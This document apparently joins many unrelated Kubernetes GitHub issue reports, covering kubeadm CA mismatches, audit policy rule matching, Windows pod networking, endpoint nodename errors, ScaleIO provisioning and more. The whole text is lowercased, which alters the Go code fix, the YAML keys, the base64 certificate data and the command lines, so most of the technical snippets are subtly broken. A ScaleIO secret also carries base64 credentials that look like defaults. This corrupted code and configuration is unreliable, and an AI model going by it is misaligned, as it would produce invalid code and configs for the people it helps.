gnu/linux \r - install tools: n/a\r - others: n/a\r

is this a bug report or feature request?  :\r \r \r   what happened  :\r cpu manager uses its own checkpointing mechanism.\r \r   what you expected to happen  :\r cpu manager uses node-level checkpointing manager   56040 \r \r \r \r

flaky job: pr:pull-kubernetes-e2e-gce\r  consistency: 88.5%  http://storage.googleapis.com/k8s-metrics/flakes-daily-latest.json \r \r     flakiest test :  sig-cli  kubectl client  k8s.io  update demo should create and stop a replication controller   conformance \r  flakes in the past week: 53  http://storage.googleapis.com/k8s-metrics/flakes-latest.json \r \r / /   \r @kubernetes/sig-cli-test-failures\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r   what happened  :\r when a pod's status changes k8s doesn't emit an event. it would be really helpful if k8s could emit an event mentioning that the pod's status change. i currently have to listen to the events stream to grab events regarding image pulls etc ... and the pod stream to grab the status of a pod. \r \r   what you expected to happen  :\r explained above\r \r   how to reproduce it  as minimally and precisely as possible   :\r start a pod and listen to the event stream. if the container in the pod fails the pod status changes to failed but no event is emitted referring to this change.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.11\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  @kubernetes/sig-windows-bugs\r \r   what happened  :\r - i first deployed the microsoft iis pod  server version 1803  via a yaml file.\r - immediately after the distribution, i checked the remote shell via kubectl exec command to normally send and receive http requests between linux pod and windows pod.\r - i do not know what happens after a certain amount of time, but suddenly the network adapter inside the pod disappears from the pod if i run the pod with no http request for more than one day.\r - compartment details of the host also indicate that the adapter has disappeared.\r - in this state, i erase the corresponding pod and re-distribute it, and the network adapter is connected to the inside of the pod again.\r \r   what you expected to happen  :\r container/pod shoult not lost their virtual network adapter.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i apologize for the difficulty in reproducing the issue that occurs. it seems to happen if no http request arrives for about a day or so.\r \r   anything else we need to know?  :\r i do not know if this is helpful, but i also attach a log file that documents the situation at the time the problem occurred.\r  iis-1803-diagnose-log.zip  https://github.com/kubernetes/kubernetes/files/2107974/iis-1803-diagnose-log.zip \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: aws  with eni enhancements \r - os  e.g. from /etc/os-release : created custom ami from official windows server 1803 ami  windows_server-1803-english-core-containerslatest-2018.05.09, id: ami-dcc822a3 \r - kernel  e.g.  uname -a  : 64bit, 10.0.17134.1\r - install tools: existing k8s cluster installed with kops, windows node was installed manually\r - joined into existing kubernetes 1.9.3 cluster  existing cluster built with kops, network model: kubenet \r - i installed windows node networking with this repo: https://github.com/microsoft/sdn/tree/master/kubernetes/windows\r - docker version: 17.06.2-ee-7  amd64 \r - all external network requests pass through nginx ingress controller.  no node-port or aws elb used \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r while trying to experiment with kubeadm setup with ca, certificates and admin.conf generated on my own,  kubeadm init   fails with error\r    \r kubeadm init --config ....\r ...\r error execution phase kubeconfig/admin: a kubeconfig file \ /etc/kubernetes/admin.conf\  exists already but has got the wrong ca cert\r    \r \r only difference between my and kubeadm generated admin.conf is that kubeadm is somehow adds new line to ca.crts content  probably during file open  and creating base64 string out of that output.\r my ca.crt has no new line in the end.\r \r so here are examples:\r ansible generated string in kubeconfig\r    \r certificate-authority-data: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsuqyrendqxndz0f3sujbz0lvuhpxc0xobjhztfe0wfhrsdlycw5mynpvvct3d0rrwuplb1pjahzjtkfrruwkqlfbd2dztxhdekfkqmdovkjbwvrba2rgtvnbd0hnwurwuvflrxhkrvpywmxirzl3yldwdwrdqkziblpwy205dqpiv1z1zerfb01dwudbmvvfq3hnzljhvjjav3h2y0cxbgjuuwdsvzuyyvhkdmjtmwxiblfnvw05dmrdqkrrvevvck1dwudbmvvfqxhnzljhvjjav3h2y0cxbgjuuwdsvzuyyvhkdmjtmwxiblfnvw05dmrdqkrrveflrncwee9eqxgkturnd05qrtjnrejhrncweu9eqxhnrfl3tmpfmk1eqmfnsudetvfzd0nrwurwuvfhrxdksfjurwdnqjrhqtfvrqpdae1yukdwmlpxehzjrzfsym5rz1jxntjhwep2ym0xbgjuuxhlreftqmdovkjbc1rimfjszg1wc2izqnravzuwcklfvnvkbwx5yji1dfpxntbjrkp2yjnrz1ewrxhlreftqmdovkjbtvrimfjszg1wc2izqnravzuwsuvwdwrtbhkkyji1dfpxntbjrkp2yjnrz1ewrxdnz0vptuewr0ntcudtswizrfffqkfrvufbnelcrhdbd2dnrutbb0lcqvfeqgphruzrv1zreu4zqzhrvflktmvnyk9vvfp2dm9wvdnytg5bouq4ztcvwuzgaxhgc0vju1jiyzhsoufkl1yxwnzock1mogdatgfuek8zr2rryvgydxywwghjajjacdhjeufanstrdm1csy9rmeywngpqqufgukpmmeroukxzrdfit0ekqzhzcgz5yi9uq2fuk1vtu1exve9ervpjnjlzbknedlzxzza5m2uwqjnboctszxnjstrmk1q2t0q2exrjzzrscaprtmjmzmnjanhbbwrxwwr1bje4ntq2efbfm2pll2u5qxo3svhibddidnvyztztoxjwnw9sv1dmnwfyrde4ng94ci9bwjniy0fqmvdjwxlhtfppowzeve5jdk1ydgdnwjhbqm9ragzoekxecuzytnz5etrazjzsednwy3zwndk1seqkn28rylfnbkjnexlhbzmva2zrcjvbz01cqufhalfqqkfnqtrhqtfvzer3ruivd1ffqxdjqkjqqvbcz05wsfjnqgpbzjhfqlrbrefrsc9nqjbhqtfvzernuvdcqlfkewuwndlyouxuvnuysupjdgznadzfugviempbtkjna3foa2lhcjl3mejbuxngqufpq0frrufjmkoyds9xclplq2y5efzsy0g0nhruswe4r2furgvonhnlafbkwctivkvzehj4b1yktnavrtlyscttoha0tejpsuztt3l1zuzgnvbhrgczl3c5eu9ludkvd3jwtlu4dgfhbjv0ndf0mfvymkl2nk15bwpucda5evpvthmyvvrnmkdymdjgbhreqmtgczcryzg4kzrwdk8rvevtcxrxnutit3n2vfpha3h5umjrrgmxohd0clb6mxdxqufuotdey0zvtnplsnz4rg5fk2ruqzjszfbmuwp6du9pvkftu2lzatlfbxc3dndhsjniu21kcxy4n2qkwdbiser5rvlgy0nennd2swhiv0pcdml6yvnavjlsymj1og1pk2rbegzuq2y4ahpttytzwdvdtk9wewzauxrocwpmduszevczcwzrwxnpsnzsbtb2unpsse45b2pjzfjavnvwvkfndz09ci0tls0tru5eienfulrjrkldqvrfls0tls0=\r    \r \r kubeadm generated string:\r    \r certificate-authority-data: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsuqyrendqxndz0f3sujbz0lvuhpxc0xobjhztfe0wfhrsdlycw5mynpvvct3d0rrwuplb1pjahzjtkfrruwkqlfbd2dztxhdekfkqmdovkjbwvrba2rgtvnbd0hnwurwuvflrxhkrvpywmxirzl3yldwdwrdqkziblpwy205dqpiv1z1zerfb01dwudbmvvfq3hnzljhvjjav3h2y0cxbgjuuwdsvzuyyvhkdmjtmwxiblfnvw05dmrdqkrrvevvck1dwudbmvvfqxhnzljhvjjav3h2y0cxbgjuuwdsvzuyyvhkdmjtmwxiblfnvw05dmrdqkrrveflrncwee9eqxgkturnd05qrtjnrejhrncweu9eqxhnrfl3tmpfmk1eqmfnsudetvfzd0nrwurwuvfhrxdksfjurwdnqjrhqtfvrqpdae1yukdwmlpxehzjrzfsym5rz1jxntjhwep2ym0xbgjuuxhlreftqmdovkjbc1rimfjszg1wc2izqnravzuwcklfvnvkbwx5yji1dfpxntbjrkp2yjnrz1ewrxhlreftqmdovkjbtvrimfjszg1wc2izqnravzuwsuvwdwrtbhkkyji1dfpxntbjrkp2yjnrz1ewrxdnz0vptuewr0ntcudtswizrfffqkfrvufbnelcrhdbd2dnrutbb0lcqvfeqgphruzrv1zreu4zqzhrvflktmvnyk9vvfp2dm9wvdnytg5bouq4ztcvwuzgaxhgc0vju1jiyzhsoufkl1yxwnzock1mogdatgfuek8zr2rryvgydxywwghjajjacdhjeufanstrdm1csy9rmeywngpqqufgukpmmeroukxzrdfit0ekqzhzcgz5yi9uq2fuk1vtu1exve9ervpjnjlzbknedlzxzza5m2uwqjnboctszxnjstrmk1q2t0q2exrjzzrscaprtmjmzmnjanhbbwrxwwr1bje4ntq2efbfm2pll2u5qxo3svhibddidnvyztztoxjwnw9sv1dmnwfyrde4ng94ci9bwjniy0fqmvdjwxlhtfppowzeve5jdk1ydgdnwjhbqm9ragzoekxecuzytnz5etrazjzsednwy3zwndk1seqkn28rylfnbkjnexlhbzmva2zrcjvbz01cqufhalfqqkfnqtrhqtfvzer3ruivd1ffqxdjqkjqqvbcz05wsfjnqgpbzjhfqlrbrefrsc9nqjbhqtfvzernuvdcqlfkewuwndlyouxuvnuysupjdgznadzfugviempbtkjna3foa2lhcjl3mejbuxngqufpq0frrufjmkoyds9xclplq2y5efzsy0g0nhruswe4r2furgvonhnlafbkwctivkvzehj4b1yktnavrtlyscttoha0tejpsuztt3l1zuzgnvbhrgczl3c5eu9ludkvd3jwtlu4dgfhbjv0ndf0mfvymkl2nk15bwpucda5evpvthmyvvrnmkdymdjgbhreqmtgczcryzg4kzrwdk8rvevtcxrxnutit3n2vfpha3h5umjrrgmxohd0clb6mxdxqufuotdey0zvtnplsnz4rg5fk2ruqzjszfbmuwp6du9pvkftu2lzatlfbxc3dndhsjniu21kcxy4n2qkwdbiser5rvlgy0nennd2swhiv0pcdml6yvnavjlsymj1og1pk2rbegzuq2y4ahpttytzwdvdtk9wewzauxrocwpmduszevczcwzrwxnpsnzsbtb2unpsse45b2pjzfjavnvwvkfndz09ci0tls0tru5eienfulrjrkldqvrfls0tls0k\r    \r   what you expected to happen  :\r continue working normally\r \r   how to reproduce it  as minimally and precisely as possible   :\r use your own ca for kubeadm setup. generate all required certs plus\r generate admin.conf kubeconfig on your own\r and finally try to run  kubeadm init \r \r   anything else we need to know?  :\r generating my files and bootstrapping server with ansible. nothing fancy, using  {{ ca_cert | b64encode }} \r \r so solution would be: do not add new line while opening file and generating base64 string out of that content. strip whitespaces : \r \r removing \ custom\  admin.conf; allowing kubeadm to generate own admin.conf works just fine.\r removing kubeadms  admin.conf  afteer initialization and putting your admin.conf breaks nothing\r  \r   environment  :\r - kubernetes version: \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - hardware configuration: baremetal vm\r - os: centos 7.6 1810\r - kernel: linux k8sm1.dev 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 29 14:49:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r \r <!-- do not edit below this line -->\r  

error is as follows:\r    \r w0130 00:54:46.481  2019/01/30 00:54:46 main.go:315: something went wrong: failed to acquire k8s binaries: error during make -c /go/src/k8s.io/kubernetes bazel-release: exit status 2\r    \r \r please see:\r - https://testgrid.k8s.io/presubmits-kubernetes-nonblocking pull-kubernetes-e2e-kubeadm-gce\r - https://testgrid.k8s.io/presubmits-kubernetes-nonblocking pull-kubernetes-e2e-kubeadm-gce&graph-metrics=test-duration-minutes\r \r looks like this started when we switched over the kubeadm jobs from sig-testing to sig-cluster-lifecycle\r https://github.com/kubernetes/test-infra/compare/b0f8f2cfb...ee2861173

are there plans to add pagination to those api endpoint results that can end up possibly being large, like listing all of the pods.

our docker 1.11.x validation stats  https://github.com/kubernetes/kubernetes/issues/23397  show overall performance improvements, but lack the performance measurement with docker pull operation. after upgrading to docker 1.11.1, the issue https://github.com/kubernetes/kubernetes/pull/25784 issuecomment-221699143, https://github.com/kubernetes/kubernetes/issues/25277  are not observed.   i did experiment against both docker 1.9.1 and docker 1.11.1 on docker pulling, and the overall performance on docker 1.11.1 is way better than 1.9.1, but we should include those tests to our docker performance validation test suite. the below are the steps i did:   images=\ gcr.io/google_containers/iperf:e2e 1>/dev/null & time for i in gcr.io/google_containers/busybox gcr.io/google_containers/busybox:1.24 gcr.io/google_containers/dnsutils:e2e gcr.io/google_containers/eptest:0.1 gcr.io/google_containers/fakegitserver:0.1 gcr.io/google_containers/hostexec:1.2 gcr.io/google_containers/iperf:e2e gcr.io/google_containers/jessie-dnsutils:e2e gcr.io/google_containers/liveness:e2e gcr.io/google_containers/mounttest:0.2 gcr.io/google_containers/mounttest:0.5 gcr.io/google_containers/mounttest:0.6 gcr.io/google_containers/mounttest-user:0.3 gcr.io/google_containers/netexec:1.4 gcr.io/google_containers/netexec:1.5 gcr.io/google_containers/nettest:1.7 gcr.io/google_containers/nettest:1.8 gcr.io/google_containers/nginx:1.7.9 gcr.io/google_containers/nginx-slim:0.5 gcr.io/google_containers/n-way-http:1.0 gcr.io/google_containers/pause:2.0 gcr.io/google_containers/pause-amd64:3.0 gcr.io/google_containers/porter:cd5cb5791ebaa8641955f0e8c2a9bed669b1eaab gcr.io/google_containers/portforwardtester:1.0 gcr.io/google_containers/redis:e2e gcr.io/google_containers/resource_consumer:beta2 gcr.io/google_containers/serve_hostname:v1.4 gcr.io/google_containers/servicelb:0.1 gcr.io/google_containers/test-webserver:e2e gcr.io/google_containers/ubuntu:14.04 gcr.io/google_containers/update-demo:kitten gcr.io/google_containers/update-demo:nautilus gcr.io/google_containers/volume-ceph:0.1 gcr.io/google_containers/volume-gluster:0.2 gcr.io/google_containers/volume-iscsi:0.1 gcr.io/google_containers/volume-nfs:0.6 gcr.io/google_containers/volume-rbd:0.1 gcr.io/google_samples/gb-redisslave:v1\    1  time the command: for i in $images; do echo $ date '+%x'  pulling $i; docker pull $i 1>/dev/null; done;  3  see the impact of list operation to docker pull   for i in 1..1000; do docker ps -a 1>/dev/null; sleep 2; done & time for i in $images; do echo $ date '+%x'  pulling $i; docker pull $i 1>/dev/null; done;  3  see the impact of creation operation to docker pull  for i in {1..1000}; do docker run busybox sleep 1; sleep 1; done & time for i in $images; do echo $ date '+%x'  pulling $i; docker pull $i 1>/dev/null; done;  4  see the impact of delete operation to docker pull  for i in {1..1000}; do docker run --rm busybox sleep 1; sleep 1; done & time for i in $images; do echo $ date '+%x'  pulling $i; docker pull $i 1>/dev/null; done;  5  see the impact of concurrent pulling:  images2=... ===> another set of images with some dup.   for i in $images2; do docker pull $i 1>/dev/null; done & time for i in $images; do echo $ date '+%x'  pulling $i; docker pull $i 1>/dev/null; done;  @liangchenye can we include all above tests to the docker performance validation test suite?   cc/ @kubernetes/goog-node @timothysc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i have a host as a storage server and has 1g disk, i created a pv as 20m, and then created a pvc on this pv, but i found that i can write data to the pvc even if the data size is greater than 20m, so how can i guard this? i want to write at most 20m data to this pv, if the data size is greater than 20m, then the write operation should be failed.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

currently node-e2e test framework test 5 different images: debian 7 based containervm, gci, ubuntu trusty with docker 9, ubuntu trusty with docker 10, and coreos. the google node team keep update both containervm and gci images regularly. there is no manual or automate process updating the rest images. they are only updated when the problem occurs. for example, the recent one we saw on ubuntu is https://github.com/kubernetes/kubernetes/pull/32577 issuecomment-260790676\r \r we should regularly update those images, and automate the process.\r \r cc/ @kubernetes/sig-node

\r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : n/a\r -   kernel    e.g.  uname -a  : n/a\r -   install tools  : kops\r \r \r   what happened  :\r \r if you specify an array of volumeclaimtemplates and attach multiple claims to a single container, the claims will nearly always/always get scheduled in different zones than each other. the yaml for such a template is:\r \r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r       annotations:\r         volume.beta.kubernetes.io/storage-class: zookeeper\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 60gi\r   - metadata:\r       name: logdir\r       annotations:\r         volume.beta.kubernetes.io/storage-class: zookeeper\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 20gi\r \r \r   what you expected to happen  :\r claims get scheduled and created in aws both on the same az as the scheduled container.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r use the above volumeclaimtemplates data and a volume set on a statefulset like:\r         volumemounts:\r         - name: datadir\r           mountpath: /snapshots\r         - name: logdir\r           mountpath: /transactions\r \r   anything else do we need to know  :\r \r attaching a screenshot of the scheduled volumes for one of the containers each on a separate az.\r ! screen shot 2017-01-27 at 11 57 14 am  https://cloud.githubusercontent.com/assets/1320452/22388970/269f6916-e498-11e6-8e6b-9021b9e22d5f.png \r \r

requests are logged into the kubelet log, but they don't currently include any identifying information. simply identifying the authenticated user won't be particularly useful since it will all come through the apiserver. rather, we want to log the user that initially sent the request to the apiserver, which was then forwarded to the kubelet. i believe acting-as attributes fill these requirements in the request, but i'm not sure whether that is currently enabled for apiserver -> kubelet requests.\r \r /cc @liggitt @kubernetes/sig-auth-feature-requests @enisoc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.0-beta.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : centos linux release 7.2.1511  core \r -   kernel    e.g.  uname -a  :3.10.0-327.10.1.\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r root@localhost.localdomain:/tmp/test-etcd$ kubectl get pod\r no resources found.\r root@localhost.localdomain:/tmp/test-etcd$ kubectl get deployment\r no resources found.\r \r \r   what you expected to happen  :\r \r \r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r \r previously created deployment and pod are not found.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r kubectl does not report an error if the api server did not accept or handle the token it passed to it.\r instead it prints a message, that i'd need to login. it does not indicate that the token is malformed, broken or otherwise. in my case, an invalid  unicode character outside of ascii compatible range  was appended at the end.\r \r   what you expected to happen  :\r \r kubelet printing an error or a warning that the api server did not like the token and an error printed that the token is malformed, if that is the case.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a service account, get the token, de-base64 it, add a random character, try to authenticate with it to an api server that's supposed to trust it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6+7fa1c1756d8bc\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ not a git tree\ , builddate:\ 2017-06-27t16:21:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : cluster: cos, client: arch linux\r - kernel  e.g.  uname -a  : - \r - install tools: - \r - others: - \r

needed for getting https://github.com/kubernetes/features/issues/130 to beta\r cc @kubernetes/sig-cluster-lifecycle-feature-requests @kubernetes/sig-auth-feature-requests

 \r   what happened  :\r \r advanced audit logging policy rules with specific users match requests that don't have user info.\r \r   what you expected to happen  :\r \r rules with users should _only_ match transactions with those users. e.g for the reproduction steps below, the audit log should have a metadata entry for the  401  request/response caused by the catch-all rule since the first   level: none  rule should only apply to requests from the specified user.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. enable advanced auditing and define a advanced audit logging policy rule that includes users and verbs followed by a catch-all rule, for example\r \r    \r   - level: none\r     users:  \ system:serviceaccount:kube-system:generic-garbage-collector\  \r     verbs:  \ get\ , \ list\  \r \r   - level: metadata\r \r    \r \r 2. perform a request with an invalid authentication, for example\r     a. enable token authentication on the api server\r     b. invoke  curl -h \ authorization: bearer no_such_token\  -k https://localhost:6443/apis/apps/v1/statefulesets \r      c. expect status  401  to be returned\r \r 3. inspect the audit log   kube-apiserver-audit.log  by default . with kube version 1.9.1 is no audit log entry is present for the above exchange.\r \r   anything else we need to know?  :\r \r the bug is in the  rulematches  function of k8s.io/apiserver/pkg/audit/policy/checker.go. \r \r this clause\r \r    \r if len r.users  > 0 && attrs.getuser   != nil {\r    if !hasstring r.users, attrs.getuser  .getname    {\r       return false\r    }\r }\r     \r should be\r    \r if len r.users  > 0 {\r    if attrs.getuser   == nil || !hasstring r.users, attrs.getuser  .getname    {\r       return false\r    }\r }\r     \r      \r   environment  :\r - kubernetes version: git status v1.9.1  locally built, running with  hack/local-up-cluster.sh  \r

 \r   what happened  :\r we have noticed that one of the node-exporters is down. it turned out that service has \ old\  endpoint still. after digging deeper i see following errors in controller manager\r \r    \r i0727 12:41:59.942556       1 endpoints_controller.go:375  error syncing endpoints for service \ kube-system/node-exporter\ : endpoints \ node-exporter\  is invalid:  subsets 0 .addresses 1 .nodename: forbidden: cannot change nodename for 172.23.0.122 to worker-g5t48-5497c6d6-8rtc8, subsets 0 .addresses 3 .nodename: forbidden: cannot change nodename for 172.23.0.178 to worker-63nev-69566fdb54-5xc7l \r    \r \r turns out controller manager can not update endpoints for node-exporter service, because of this error. in endpoint list is see right ips for worker nodes, but wrong ip for master node  that's why we detected the problem .\r \r context:\r - two worker nodes were recreated with   new hostnames    generated randomly , but they use  same ip address \r - one master node were recreated with   new hostname   and   new ip  \r \r i've tried to manually update hostname and got same error, seems nodename is not updatable field.\r \r    \r subsets:\r - addresses:\r   - ip: 172.23.0.122 <=== ip stayed the same\r     nodename: worker-63nev-69566fdb54-k6jrc <=== still old host name, that basically breaks reconciliation.\r     targetref:\r       kind: pod\r       name: node-exporter-bsl62\r       namespace: kube-system\r       resourceversion: \ 11812304\ \r       uid: d60d9a17-52a6-11e8-b36e-deadbe40d32e\r   - ip: 172.23.0.166 <=== still old ip\r     nodename: master-0ufqh-85fcf4ffd-rcd5t <=== still old host name\r     targetref:\r       kind: pod\r       name: node-exporter-t9w84\r       namespace: kube-system\r       resourceversion: \ 11811791\ \r       uid: f50bd59c-5111-11e8-8479-deadbe40d32e\r   - ip: 172.23.0.178 <=== ip stayed the same\r     nodename: worker-g5t48-5497c6d6-sj22v <=== still old host name\r     targetref:\r       kind: pod\r       name: node-exporter-p6njg\r       namespace: kube-system\r       resourceversion: \ 11812640\ \r       uid: e7169993-52c7-11e8-b36e-deadbe40d32e\r    \r \r it also affects all other endpoints, we were forced to recreated all pods  so they will change ips  to be able to fix endpoints reconciliation.\r \r   what you expected to happen  :\r controller manager successfully update endpoints after node recreated with same ip, but different hostname.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. cluster 1 master, 1 worker, service that points to pods with host network.\r 2. shutdown k8s api service  keep it shut down \r 3. recreate worker node with same ip and different host name\r 4. try to recreate pod on worker and in controller manager should appear error above.\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.10.1\r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release : coreos 1688.5.3\r - kernel  e.g.  uname -a  : 4.14.32-coreos \r - install tools: own tool   kvm-operator  https://github.com/giantswarm/kvm-operator  \r - others:\r

what happened  :\r when i use scalio storageclass create persistent volume claim, it always in pending status, kubectl describe get follow event:\r events:\r   type     reason              age               from                         message\r warning  provisioningfailed  2m  x68 over 2h   persistentvolume-controller  failed to provision volume with storageclass \ sio-small\ : problem getting response from endpoint\r \r the yaml of relative files are followed: \r   cat  secret.yaml\r  apiversion: v1 \r apiversion: v1\r kind: secret\r metadata:\r   name: sio-secret\r type: kubernetes.io/scaleio\r data:\r   username: ywrtaw4=\r   password: qvnjywxlaw8xmjm=\r \r    cat sc.yaml \r \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: sio-small\r provisioner: kubernetes.io/scaleio\r parameters:\r   gateway: https://10.8.192.55:443/api\r   system: scaleio\r   protectiondomain: domain1\r   storagepool: pool1\r   secretref: sio-secret\r   fstype: xfs\r \r    cat sc-pvc.yaml \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvc-sio-small\r spec:\r   storageclassname: sio-small\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 8gi\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version : v1.8.0\r - cloud provider or hardware configuration:   hardware\r - os: centos linux release 7.5.1804  core \r - kernel :  3.10.0-693.21.1.el7.x86_64\r - install tools:\r - others:\r ! image  https://user-images.githubusercontent.com/24996565/44614914-85357500-a860-11e8-921c-5e17e6006792.png \r ! image  https://user-images.githubusercontent.com/24996565/44614958-5f5ca000-a861-11e8-873b-7cc7a1d13b7b.png \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r i have kubernetes 1.0.3 version installed and there is a master and 5 minion nodes available.\r in the minion nodes elastic search cluster is deployed.i wanted to scale a new minion node and start es container which i am doing by scaling the replication controller.\r \r the es service is deployed with a cluster ip and rc for the es data node is pointing to the cluster ip.\r the cluster ip mentioned in the rc for es data node is wrong and pointing to a es client service rather than data storage service.\r with this somehow es cluster is formed and now when i am scaling the rc the container is started with the wrong cluster ip and the new node is not joining the cluster.\r \r i am trying to modify the cluster ip in rc using kubectl patch but it is not happening can you please let me know if something wrong or we can't modify it run time in this version ?\r \r -bash-4.2  kubectl patch replicationcontroller rta-ds-data-rc -p '{\ spec\ :{\ containers\ :{\ env\ : {\ name\ :\ cluster_ip\ ,\ value\ :\ 10.254.1.11\ } }}}\r \r   what you expected to happen  :\r the cluster ip is changed as required\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.0.3\r - cloud provider or hardware configuration:\r kubernetes running on baremetal\r - os  e.g. from /etc/os-release :\r red hat atomic os centos 7\r - kernel  e.g.  uname -a  :\r - 